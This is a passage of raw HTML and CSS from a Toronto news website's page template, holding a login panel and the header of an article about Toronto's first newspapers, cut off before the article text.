526                            <div class="td-login-panel-title">Sign in</div>
527                            <div class="td-login-panel-descr">Welcome! Log into your account</div>
528                            <div class="td_display_err"></div>
529                            <form id="loginForm" action="#" method="post">
530                                <div class="td-login-inputs"><input class="td-login-input" autocomplete="username" type="text" name="login_email" id="login_email" value="" required><label for="login_email">your username</label></div>
531                                <div class="td-login-inputs"><input class="td-login-input" autocomplete="current-password" type="password" name="login_pass" id="login_pass" value="" required><label for="login_pass">your password</label></div>
532                                <input type="button"  name="login_button" id="login_button" class="wpb_button btn td-login-button" value="Login">
533                                
534                            </form>
535
536                            
537
538                            <div class="td-login-info-text"><a href="#" id="forgot-pass-link">Forgot your password? Get help</a></div>
539                            
540                            
541                            
542                            
543                        </div>
544
545                        
546
547                         <div id="td-forgot-pass-div" class="td-login-form-div td-display-none">
548                            <div class="td-login-panel-title">Password recovery</div>
549                            <div class="td-login-panel-descr">Recover your password</div>
550                            <div class="td_display_err"></div>
551                            <form id="forgotpassForm" action="#" method="post">
552                                <div class="td-login-inputs"><input class="td-login-input" type="text" name="forgot_email" id="forgot_email" value="" required><label for="forgot_email">your email</label></div>
553                                <input type="button" name="forgot_button" id="forgot_button" class="wpb_button btn td-login-button" value="Send My Password">
554                            </form>
555                            <div class="td-login-info-text">A password will be e-mailed to you.</div>
556                        </div>
557                        
558                        
559                    </div>
560                </div>
561                <div id="tdi_33" class="tdc-zone"><div class="tdc_zone tdi_34  wpb_row td-pb-row"  >
562<style scoped>.tdi_34{min-height:0}</style><div id="tdi_35" class="tdc-row stretch_row_1800 td-stretch-content"><div class="vc_row tdi_36  wpb_row td-pb-row tdc-element-style" >
563<style scoped>.tdi_36,.tdi_36 .tdc-columns{min-height:0}.tdi_36,.tdi_36 .tdc-columns{display:block}.tdi_36 .tdc-columns{width:100%}.tdi_36:before,.tdi_36:after{display:table}.tdi_36{position:relative}.tdi_36 .td_block_wrap{text-align:left}</style>
564<div class="tdi_35_rand_style td-element-style" ><style>.tdi_35_rand_style{background-color:#f2f3f4!important}</style></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span12">
565<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:block}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="vc_row_inner tdi_40  vc_row vc_inner wpb_row td-pb-row" >
566<style scoped>.tdi_40{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_40,.tdi_40 .tdc-inner-columns{display:block}.tdi_40 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_40{margin-left:-10px;margin-right:-10px}.tdi_40>.vc_column_inner,.tdi_40>.tdc-inner-columns>.vc_column_inner{padding-left:10px;padding-right:10px}}@media (max-width:767px){.tdi_40{display:none!important;width:100%!important}}</style><div class="vc_column_inner tdi_42  wpb_column vc_column_container tdc-inner-column td-pb-span3">
567<style scoped>.tdi_42{vertical-align:baseline}.tdi_42 .vc_column-inner>.wpb_wrapper,.tdi_42 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_42 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_42{padding-top:110px!important;position:relative}@media (min-width:768px) and (max-width:1018px){.tdi_42{padding-top:70px!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_42{padding-top:84px!important}}</style>
568<div class="tdi_41_rand_style td-element-style" ><style>.tdi_41_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column-inner"><div class="wpb_wrapper" ></div></div></div><div class="vc_column_inner tdi_44  wpb_column vc_column_container tdc-inner-column td-pb-span9">
569<style scoped>.tdi_44{vertical-align:baseline}.tdi_44 .vc_column-inner>.wpb_wrapper,.tdi_44 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_44 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_44{justify-content:flex-end!important;text-align:right!important;position:relative}</style>
570<div class="tdi_43_rand_style td-element-style" ><style>.tdi_43_rand_style{background-color:#f4f4f4!important}</style></div><div class="vc_column-inner"><div class="wpb_wrapper" ></div></div></div></div><div class="vc_row_inner tdi_46  vc_row vc_inner wpb_row td-pb-row tdc-row-content-vert-center" >
571<style scoped>.tdi_46{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_46,.tdi_46 .tdc-inner-columns{display:block}.tdi_46 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_46{margin-left:-10px;margin-right:-10px}.tdi_46>.vc_column_inner,.tdi_46>.tdc-inner-columns>.vc_column_inner{padding-left:10px;padding-right:10px}}@media (min-width:767px){.tdi_46.tdc-row-content-vert-center,.tdi_46.tdc-row-content-vert-center .tdc-inner-columns{display:flex;align-items:center;flex:1}.tdi_46.tdc-row-content-vert-bottom,.tdi_46.tdc-row-content-vert-bottom .tdc-inner-columns{display:flex;align-items:flex-end;flex:1}.tdi_46.tdc-row-content-vert-center .td_block_wrap{vertical-align:middle}.tdi_46.tdc-row-content-vert-bottom .td_block_wrap{vertical-align:bottom}}.tdi_46{z-index:1!important}.tdi_46 .td_block_wrap{text-align:left}@media (max-width:767px){.tdi_46{margin-right:-20px!important;margin-left:-20px!important;width:auto!important}}</style><div class="vc_column_inner tdi_48  wpb_column vc_column_container tdc-inner-column td-pb-span3">
572<style scoped>.tdi_48{vertical-align:baseline}.tdi_48 .vc_column-inner>.wpb_wrapper,.tdi_48 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_48 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_48{padding-top:130px!important;padding-bottom:130px!important;z-index:1!important;position:relative}@media (min-width:768px) and (max-width:1018px){.tdi_48{padding-top:90px!important;padding-bottom:90px!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_48{padding-top:110px!important;padding-bottom:110px!important}}@media (max-width:767px){.tdi_48{padding-top:60px!important;padding-right:20px!important;padding-bottom:60px!important;padding-left:20px!important}}</style>
573<div class="tdi_47_rand_style td-element-style" ><style>.tdi_47_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column-inner"><div class="wpb_wrapper" >
573<div class="td_block_wrap tdb_single_categories tdi_49 td-pb-border-top td_block_template_1 "   data-td-block-uid="tdi_49" >
574<style>.tdi_49{margin-bottom:20px!important;padding-left:100px!important;width:190%!important}@media (min-width:1019px) and (max-width:1140px){.tdi_49{margin-bottom:15px!important;padding-left:30px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_49{margin-bottom:10px!important;padding-left:10px!important}}@media (max-width:767px){.tdi_49{margin-bottom:15px!important;padding-left:0px!important;width:100%!important}}</style>
575<style>.tdb_single_categories{margin:0 0 10px 0;line-height:1;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif)}.tdb_single_categories a{pointer-events:auto;font-size:10px;display:inline-block;margin:0 5px 5px 0;line-height:1;color:#fff;padding:3px 6px 4px 6px;white-space:nowrap;position:relative;vertical-align:middle}.tdb_single_categories a:hover .tdb-cat-bg{opacity:0.9}.tdb_single_categories a:hover .tdb-cat-bg:before{opacity:1}.tdb-category i:last-of-type{display:none}.tdb-cat-text{display:inline-block;vertical-align:middle;margin-right:10px}.tdb-cat-sep{font-size:14px;vertical-align:middle;position:relative}.tdb-cat-sep-svg{line-height:0}.tdb-cat-sep-svg svg{width:14px;height:auto}.tdb-cat-bg{position:absolute;background-color:#222;border:1px solid #222;width:100%;height:100%;top:0;left:0;z-index:-1}.tdb-cat-bg:before{content:'';width:100%;height:100%;left:0;top:0;position:absolute;z-index:-1;opacity:0;-webkit-transition:opacity 0.3s ease;transition:opacity 0.3s ease}.tdb-cat-style2 .tdb-cat-bg{background-color:rgba(34,34,34,0.85)}.tdi_49 .tdb-entry-category{padding:0px;margin:0 3px;color:#90a0af!important;font-family:Montserrat!important;font-size:18px!important;font-weight:800!important;text-transform:uppercase!important}.tdi_49 .tdb-cat-bg{border-width:0px;background-color:rgba(255,255,255,0)!important;border-color:rgba(255,255,255,0)!important}.tdi_49 .tdb-cat-bg:before{background-color:rgba(255,255,255,0)}.tdi_49 .tdb-entry-category:hover{color:#e2687e!important}.tdi_49 .tdb-entry-category:hover .tdb-cat-bg{border-color:rgba(255,255,255,0)!important}.tdi_49 .tdb-cat-sep{font-size:14px;color:#90a0af}.tdi_49 .tdb-cat-sep-svg svg,.tdi_49 .tdb-cat-sep-svg svg *{fill:#90a0af}.tdi_49 .tdb-cat-text{color:#90a0af;margin-right:10px;font-family:Montserrat!important;font-size:18px!important;font-weight:800!important}.td-theme-wrap .tdi_49{text-align:left}@media (min-width:1019px) and (max-width:1140px){.tdi_49 .tdb-entry-category{font-size:16px!important}.tdi_49 .tdb-cat-text{font-size:16px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_49 .tdb-entry-category{font-size:14px!important}.tdi_49 .tdb-cat-text{font-size:14px!important}}@media (max-width:767px){.tdi_49 .tdb-entry-category{font-size:16px!important}.tdi_49 .tdb-cat-text{font-size:16px!important}}</style><div class="tdb-category td-fix-index"><a class="tdb-entry-category" href="https://toronto1.one/en/business" ><span class="tdb-cat-bg"></span>Business</a><i class="tdb-cat-sep td-icon-slashh"></i></div></div><div class="td_block_wrap tdb_title tdi_50 tdb-single-title td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_50" >
576<style>.tdi_50{margin-bottom:50px!important;padding-left:100px!important;width:200%!important}@media (min-width:1019px) and (max-width:1140px){.tdi_50{margin-bottom:30px!important;padding-left:30px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_50{margin-bottom:10px!important;padding-left:10px!important}}@media (max-width:767px){.tdi_50{margin-bottom:30px!important;padding-left:0px!important;width:100%!important}}</style>
577<style>.tdb_title{margin-bottom:19px}.tdb_title.tdb-content-horiz-center{text-align:center}.tdb_title.tdb-content-horiz-center .tdb-title-line{margin:0 auto}.tdb_title.tdb-content-horiz-right{text-align:right}.tdb_title.tdb-content-horiz-right .tdb-title-line{margin-left:auto;margin-right:0}.tdb-title-text{display:inline-block;position:relative;margin:0;word-wrap:break-word;font-size:30px;line-height:38px;font-weight:700}.tdb-first-letter{position:absolute;-webkit-user-select:none;user-select:none;pointer-events:none;text-transform:uppercase;color:rgba(0,0,0,0.08);font-size:6em;font-weight:300;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);left:-0.36em;z-index:-1;-webkit-text-fill-color:initial}.tdb-title-line{display:none;position:relative}.tdb-title-line:after{content:'';width:100%;position:absolute;background-color:var(--td_theme_color,#4db2ec);top:0;left:0;margin:auto}.tdb-single-title .tdb-title-text{font-size:41px;line-height:50px;font-weight:400}.tdi_50 .tdb-title-text{background-color:#172842;-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-family:Montserrat!important;font-size:56px!important;line-height:1.2!important;font-weight:800!important;letter-spacing:-1px!important}html[class*='ie'] .tdi_50 .tdb-title-text{background:none;color:#172842}.tdi_50 .tdb-title-line:after{height:0px;bottom:40%}.tdi_50 .tdb-title-line{height:50px}.td-theme-wrap .tdi_50{text-align:left}.tdi_50 .tdb-first-letter{left:-0.36em;right:auto}@media (min-width:1019px) and (max-width:1140px){.tdi_50 .tdb-title-text{font-size:36px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_50 .tdb-title-text{font-size:24px!important}}@media (max-width:767px){.tdi_50 .tdb-title-text{font-size:28px!important}}</style><div class="tdb-block-inner td-fix-index"><h1 class="tdb-title-text">
577What Were Toronto’s First Newspapers About?</h1><div></div><div class="tdb-title-line"></div></div></div><div class="tdm_block td_block_wrap tdm_block_button tdi_51 tdm-block-button-inline tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_51"     data-scroll-to-class="td-single-jump"   data-scroll-offset="-144" >
578<style>.tdi_51{margin-bottom:-40px!important;padding-left:100px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_51{padding-left:30px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_51{padding-left:10px!important}}@media (max-width:767px){.tdi_51{padding-left:0px!important}}</style>
579<style>@media (min-width:768px) and (max-width:1018px){.tdi_51 .tdm-btn{height:auto;padding:0 20px}}</style>
580<style>body .tdi_52{background-color:#49c8d1}body .tdi_52:before{background-color:#e2687e;opacity:1}body .tdi_52:hover:before{opacity:1}body .tdi_51.td-scroll-in-view .tdi_52:before{background-color:#e2687e}.tdi_52{font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}@media (min-width:768px) and (max-width:1018px){.tdi_52{padding:0 20px;height:auto;line-height:1;font-size:12px!important;line-height:3!important;height:auto}}</style><div class="tds-button td-fix-index"><a 
581                href="#" 
582                 title="Read More"
583                class="tds-button1 tdm-btn tdm-btn-lg tdi_52 " ><span class="tdm-btn-text">Read More</span></a></div></div></div></div></div><div class="vc_column_inner tdi_54  wpb_column vc_column_container tdc-inner-column td-pb-span9">
584<style scoped>.tdi_54{vertical-align:baseline}.tdi_54 .vc_column-inner>.wpb_wrapper,.tdi_54 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_54 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_54{position:relative}</style>
585<div class="tdi_53_rand_style td-element-style" ><style>.tdi_53_rand_style{background-color:#f4f4f4!important}</style></div><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_single_bg_featured_image tdi_55 tdb-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_55" >
586<style>.tdi_55{margin-right:1px!important;margin-bottom:-150px!important;margin-left:auto!important;width:56%!important;z-index:1!important}@media (min-width:1019px) and (max-width:1140px){.tdi_55{margin-right:30px!important;margin-bottom:-120px!important;width:60%!important}}@media (min-width:768px) and (max-width:1018px){.tdi_55{margin-right:0px!important;margin-bottom:-100px!important;width:60%!important}}@media (max-width:767px){.tdi_55{margin-right:0px!important;margin-bottom:0px!important;margin-left:0px!important;width:auto!important}}</style>
587<style>.tdb_single_bg_featured_image{margin-bottom:26px;overflow:hidden}.tdb-featured-image-bg{background-color:#f1f1f1;background-position:center center}.tdb_single_bg_featured_image .tdb-caption-text{z-index:1;text-align:left;font-size:11px;font-style:italic;font-weight:normal;line-height:17px;color:#444;display:block}.tdb_single_bg_featured_image.tdb-content-horiz-center .tdb-caption-text{text-align:center;left:0;right:0;margin-left:auto;margin-right:auto}.tdb_single_bg_featured_image.tdb-content-horiz-right .tdb-caption-text{text-align:right;left:auto;right:0}.tdi_55{display:none}.tdi_55 .tdb-featured-image-bg{padding-bottom:570px}html:not(.td-md-is-ios):not(.td-md-is-android) body:not(.tdb-autoload-ajax) .tdi_55 .tdb-featured-image-bg{background-attachment:scroll}@media (min-width:1019px) and (max-width:1140px){.tdi_55 .tdb-featured-image-bg{padding-bottom:400px}}@media (min-width:768px) and (max-width:1018px){.tdi_55 .tdb-featured-image-bg{padding-bottom:330px}}@media (max-width:767px){.tdi_55 .tdb-featured-image-bg{padding-bottom:300px}}</style><div class="tdb-featured-image-bg"></div></div></div></div></div></div><div class="vc_row_inner tdi_57  vc_row vc_inner wpb_row td-pb-row" >
588<style scoped>.tdi_57{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_57,.tdi_57 .tdc-inner-columns{display:block}.tdi_57 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_57{margin-left:-10px;margin-right:-10px}.tdi_57>.vc_column_inner,.tdi_57>.tdc-inner-columns>.vc_column_inner{padding-left:10px;padding-right:10px}}.tdi_57{padding-top:25px!important;padding-right:100px!important;padding-bottom:10px!important;padding-left:100px!important;z-index:0!important;position:relative}.tdi_57 .td_block_wrap{text-align:left}@media (min-width:1019px) and (max-width:1140px){.tdi_57{padding-right:40px!important;padding-left:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_57{padding-top:15px!important;padding-right:10px!important;padding-bottom:0px!important;padding-left:10px!important}}@media (max-width:767px){.tdi_57{padding-top:30px!important;padding-right:0px!important;padding-left:0px!important;width:100%!important}}</style>
589<div class="tdi_56_rand_style td-element-style" ><style>.tdi_56_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column_inner tdi_59  wpb_column vc_column_container tdc-inner-column td-pb-span12">
590<style scoped>.tdi_59{vertical-align:baseline}.tdi_59 .vc_column-inner>.wpb_wrapper,.tdi_59 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_59 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}@media (max-width:767px){.tdi_59{margin-bottom:20px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_single_author tdi_60 td-pb-border-top td_block_template_1 tdb-post-meta"  data-td-block-uid="tdi_60" >
591<style>.tdb-post-meta{margin-bottom:16px;color:#444;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;font-weight:400;clear:none;vertical-align:middle;line-height:1}.tdb-post-meta span,.tdb-post-meta i,.tdb-post-meta time{vertical-align:middle}.tdb_single_author{line-height:30px}.tdb_single_author a{vertical-align:middle}.tdb_single_author .tdb-block-inner{display:flex;align-items:center}.tdb_single_author .tdb-author-name-wrap{display:flex}.tdb_single_author .tdb-author-name{font-weight:700;margin-right:3px}.tdb_single_author .tdb-author-by{margin-right:3px}.tdb_single_author .tdb-author-photo img{display:block}.tdi_60{display:inline-block}.tdi_60 .tdb-author-name-wrap{align-items:baseline}.tdi_60 .avatar{width:50px;height:50px;margin-right:12px;border-radius:50%}.tdi_60 .tdb-author-by{color:#90a0af;font-family:Montserrat!important;font-size:16px!important;font-weight:400!important}.tdi_60 .tdb-author-name{color:#90a0af;font-family:Montserrat!important;font-size:16px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_60 .tdb-author-name:hover{color:#e2687e}@media (min-width:1019px) and (max-width:1140px){.tdi_60 .avatar{width:40px;height:40px;margin-right:10px}.tdi_60 .tdb-author-by{font-size:14px!important}.tdi_60 .tdb-author-name{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_60 .avatar{width:30px;height:30px;margin-right:8px}.tdi_60 .tdb-author-by{font-size:12px!important}.tdi_60 .tdb-author-name{font-size:12px!important}}@media (max-width:767px){.tdi_60 .avatar{width:30px;height:30px;margin-right:10px}.tdi_60 .tdb-author-by{font-size:12px!important}.tdi_60 .tdb-author-name{font-size:12px!important}}</style><div class="tdb-block-inner td-fix-index">
591<a class="tdb-author-photo"  href="https://toronto1.one/en/author/amara-singh" title="Amara Singh"><img alt='Amara Singh' src='https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96'  decoding='async'/></a><div class="tdb-author-name-wrap"><span class="tdb-author-by"></span> <a class="tdb-author-name" href="https://toronto1.one/en/author/amara-singh">Amara Singh</a></div></div></div><div class="tdm_block td_block_wrap tdm_block_icon tdi_61 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_61"   >
592<style>@media (min-width:1019px) and (max-width:1140px){.tdi_61{margin-left:-2px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_61{margin-left:-4px!important}}</style>
593<style>.tdm_block_icon.tdm_block{margin-bottom:0}.tds-icon{position:relative}.tds-icon:after{content:'';width:100%;height:100%;left:0;top:0;position:absolute;z-index:-1;opacity:0;-webkit-transition:opacity 0.3s ease;transition:opacity 0.3s ease}.tds-icon svg{display:block}.tdi_61 i{font-size:28px;text-align:center;width:28px;height:28px;line-height:28px}.tdi_61 i,.tdi_61 .tds-icon-svg-wrap{position:relative;top:1px}.tdi_61{display:inline-block}@media (min-width:768px) and (max-width:1018px){.tdi_61 i{font-size:22px;text-align:center;width:22px;height:22px;line-height:22px}}</style>
594<style>.tdi_62{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:rgba(255,255,255,0)}.tdi_62:before{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:#bcccd6;-webkit-background-clip:text;-webkit-text-fill-color:transparent}html[class*='ie'] .tdi_62:before{background:none;color:#bcccd6}.tdi_62 svg{fill:#bcccd6}.tdi_62 svg *{fill:inherit}.tdi_62:after{background-color:rgba(255,255,255,0)}.tdi_61:hover .tdi_62:after{opacity:1}@media (min-width:1019px) and (max-width:1140px){}@media (min-width:768px) and (max-width:1018px){}@media (max-width:767px){}</style><i class="tds-icon td-icon-vertical-line tdi_62 td-fix-index "></i></div><div class="td_block_wrap tdb_single_date tdi_63 td-pb-border-top td_block_template_1 tdb-post-meta"  data-td-block-uid="tdi_63" >
595<style>.tdi_63{margin-left:2px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_63{margin-left:0px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_63{margin-left:-2px!important}}</style>
596<style>.tdb_single_date{line-height:30px}.tdb_single_date a{vertical-align:middle}.tdb_single_date .tdb-date-icon-svg{position:relative;line-height:0}.tdb_single_date svg{height:auto}.tdb_single_date svg,.tdb_single_date svg *{fill:#444}.tdi_63{display:inline-block;color:#90a0af;font-family:Montserrat!important;font-size:16px!important;font-weight:400!important;text-transform:uppercase!important}.tdi_63 svg{width:14px}.tdi_63 .tdb-date-icon{margin-right:5px}.tdi_63 svg,.tdi_63 svg *{fill:#90a0af;fill:#90a0af}.tdi_63 i{color:#90a0af}@media (min-width:1019px) and (max-width:1140px){.tdi_63{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_63{font-size:12px!important}}@media (max-width:767px){.tdi_63{font-size:12px!important}}</style><div class="tdb-block-inner td-fix-index"><time class="entry-date updated td-module-date" datetime="2024-08-26T06:42:14-04:00">26.08.2024</time></div></div> <!-- ./block --><div class="tdm_block td_block_wrap tdm_block_icon tdi_64 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_64"   >
597<style>@media (min-width:1019px) and (max-width:1140px){.tdi_64{margin-left:-2px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_64{margin-left:-4px!important}}@media (max-width:767px){.tdi_64{display:none!important}}</style>
598<style>.tdi_64 i{font-size:28px;text-align:center;width:28px;height:28px;line-height:28px}.tdi_64 i,.tdi_64 .tds-icon-svg-wrap{position:relative;top:1px}.tdi_64{display:inline-block}</style>
599<style>.tdi_65{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:rgba(255,255,255,0)}.tdi_65:before{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:#bcccd6;-webkit-background-clip:text;-webkit-text-fill-color:transparent}html[class*='ie'] .tdi_65:before{background:none;color:#bcccd6}.tdi_65 svg{fill:#bcccd6}.tdi_65 svg *{fill:inherit}.tdi_65:after{background-color:rgba(255,255,255,0)}.tdi_64:hover .tdi_65:after{opacity:1}@media (min-width:1019px) and (max-width:1140px){}@media (min-width:768px) and (max-width:1018px){}@media (max-width:767px){}</style><i class="tds-icon td-icon-vertical-line tdi_65 td-fix-index "></i></div><div class="td_block_wrap tdb_single_post_views tdi_66 td-pb-border-top td_block_template_1 tdb-post-meta"  data-td-block-uid="tdi_66" >
600<style>.tdi_66{margin-left:2px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_66{margin-left:0px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_66{margin-left:-2px!important}}@media (max-width:767px){.tdi_66{display:none!important}}</style>
601<style>.tdb_single_post_views{line-height:30px}.tdb_single_post_views a{vertical-align:middle}.tdb_single_post_views .tdb-views-icon-svg{position:relative;line-height:0}.tdb_single_post_views svg{height:auto}.tdb_single_post_views svg,.tdb_single_post_views svg *{fill:#444}.tdi_66{display:inline-block;color:#90a0af;font-family:Montserrat!important;font-size:16px!important}.tdi_66 i{font-size:30px;color:#90a0af}.tdi_66 .tdb-views-icon{margin-right:10px;position:relative;top:1px}.tdi_66 svg,.tdi_66 svg *{fill:#90a0af;fill:#90a0af}@media (min-width:1019px) and (max-width:1140px){.tdi_66 i{font-size:26px}.tdi_66 .tdb-views-icon{position:relative;top:-1px}.tdi_66{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_66 i{font-size:22px}.tdi_66 .tdb-views-icon{position:relative;top:-1px}.tdi_66{font-size:12px!important}}@media (max-width:767px){.tdi_66 i{font-size:22px}.tdi_66 .tdb-views-icon{position:relative;top:-1px}.tdi_66{font-size:12px!important}}</style><div class="tdb-block-inner td-fix-index"><i class="tdb-views-icon tdc-font-tdmp tdc-font-tdmp-eye"></i><span class="tdb-add-text"></span><span class="td-nr-views-3775">373</span></div></div><div class="tdm_block td_block_wrap tdm_block_icon tdi_67 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_67"   >
602<style>.tdi_67{margin-left:4px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_67{margin-left:2px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_67{margin-left:0px!important;display:none!important}}@media (max-width:767px){.tdi_67{display:none!important}}</style>
603<style>.tdi_67 i{font-size:28px;text-align:center;width:28px;height:28px;line-height:28px}.tdi_67 i,.tdi_67 .tds-icon-svg-wrap{position:relative;top:1px}.tdi_67{display:inline-block}</style>
604<style>.tdi_68{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:rgba(255,255,255,0)}.tdi_68:before{-webkit-transition:all 0.2s ease;-moz-transition:all 0.2s ease;-o-transition:all 0.2s ease;transition:all 0.2s ease;background-color:#bcccd6;-webkit-background-clip:text;-webkit-text-fill-color:transparent}html[class*='ie'] .tdi_68:before{background:none;color:#bcccd6}.tdi_68 svg{fill:#bcccd6}.tdi_68 svg *{fill:inherit}.tdi_68:after{background-color:rgba(255,255,255,0)}.tdi_67:hover .tdi_68:after{opacity:1}@media (min-width:1019px) and (max-width:1140px){}@media (min-width:768px) and (max-width:1018px){}@media (max-width:767px){}</style><i class="tds-icon td-icon-vertical-line tdi_68 td-fix-index "></i></div><div class="td_block_wrap tdb_single_comments_count tdi_69 td-pb-border-top td_block_template_1 tdb-post-meta"  data-td-block-uid="tdi_69" >
605<style>.tdi_69{margin-left:4px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_69{margin-left:2px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_69{margin-left:0px!important;display:none!important}}@media (max-width:767px){.tdi_69{display:none!important}}</style>
606<style>.tdb_single_comments_count{line-height:30px}.tdb_single_comments_count .tdb-comm-icon-svg{position:relative;line-height:0}.tdb_single_comments_count svg{height:auto}.tdb_single_comments_count svg,.tdb_single_comments_count svg *{fill:#444}.tdi_69{display:inline-block;font-family:Montserrat!important;font-size:16px!important}.tdi_69 i{font-size:26px}.tdi_69 .tdb-comm-icon{margin-right:10px;position:relative;top:2px}.tdi_69 a{color:#90a0af}.tdi_69 a svg,.tdi_69 a svg *{fill:#90a0af;fill:#90a0af}.tdi_69 a i{color:#90a0af}.tdi_69 a:hover{color:#90a0af}.tdi_69 a:hover svg,.tdi_69 a:hover svg *{fill:#90a0af;fill:#90a0af}.tdi_69 a:hover i{color:#90a0af}@media (min-width:1019px) and (max-width:1140px){.tdi_69 i{font-size:20px}.tdi_69{font-size:14px!important}.tdi_69 .tdb-comm-icon{position:relative;top:-1px}}@media (min-width:768px) and (max-width:1018px){.tdi_69 i{font-size:20px}.tdi_69{font-size:12px!important}.tdi_69 .tdb-comm-icon{position:relative;top:-1px}}@media (max-width:767px){.tdi_69 i{font-size:20px}.tdi_69{font-size:12px!important}.tdi_69 .tdb-comm-icon{position:relative;top:-1px}}</style><div class="tdb-block-inner td-fix-index">
606<a href="https://toronto1.one/en/eternal/what-were-torontos-first-newspapers-about-3775#respond"><i class="tdb-comm-icon tdc-font-tdmp tdc-font-tdmp-message-box"></i><span class="tdb-add-text"></span><span>0</span></a></div></div></div></div></div></div><div class="vc_row_inner tdi_71  vc_row vc_inner wpb_row td-pb-row" >
607<style scoped>.tdi_71{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_71,.tdi_71 .tdc-inner-columns{display:block}.tdi_71 .tdc-inner-columns{width:100%}@media (min-width:768px){.tdi_71{margin-left:-30px;margin-right:-30px}.tdi_71>.vc_column_inner,.tdi_71>.tdc-inner-columns>.vc_column_inner{padding-left:30px;padding-right:30px}}@media (min-width:1019px) and (max-width:1140px){@media (min-width:768px){.tdi_71{margin-left:-20px;margin-right:-20px}.tdi_71>.vc_column_inner,.tdi_71>.tdc-inner-columns>.vc_column_inner{padding-left:20px;padding-right:20px}}}@media (min-width:768px) and (max-width:1018px){@media (min-width:768px){.tdi_71{margin-left:-15px;margin-right:-15px}.tdi_71>.vc_column_inner,.tdi_71>.tdc-inner-columns>.vc_column_inner{padding-left:15px;padding-right:15px}}}.tdi_71{margin-right:-10px!important;margin-left:-10px!important;padding-top:100px!important;padding-right:20px!important;padding-bottom:30px!important;padding-left:20px!important;z-index:0!important;position:relative}.tdi_71 .td_block_wrap{text-align:left}@media (min-width:768px) and (max-width:1018px){.tdi_71{padding-top:60px!important;padding-right:0px!important;padding-left:0px!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_71{padding-top:80px!important;padding-right:20px!important;padding-left:20px!important}}@media 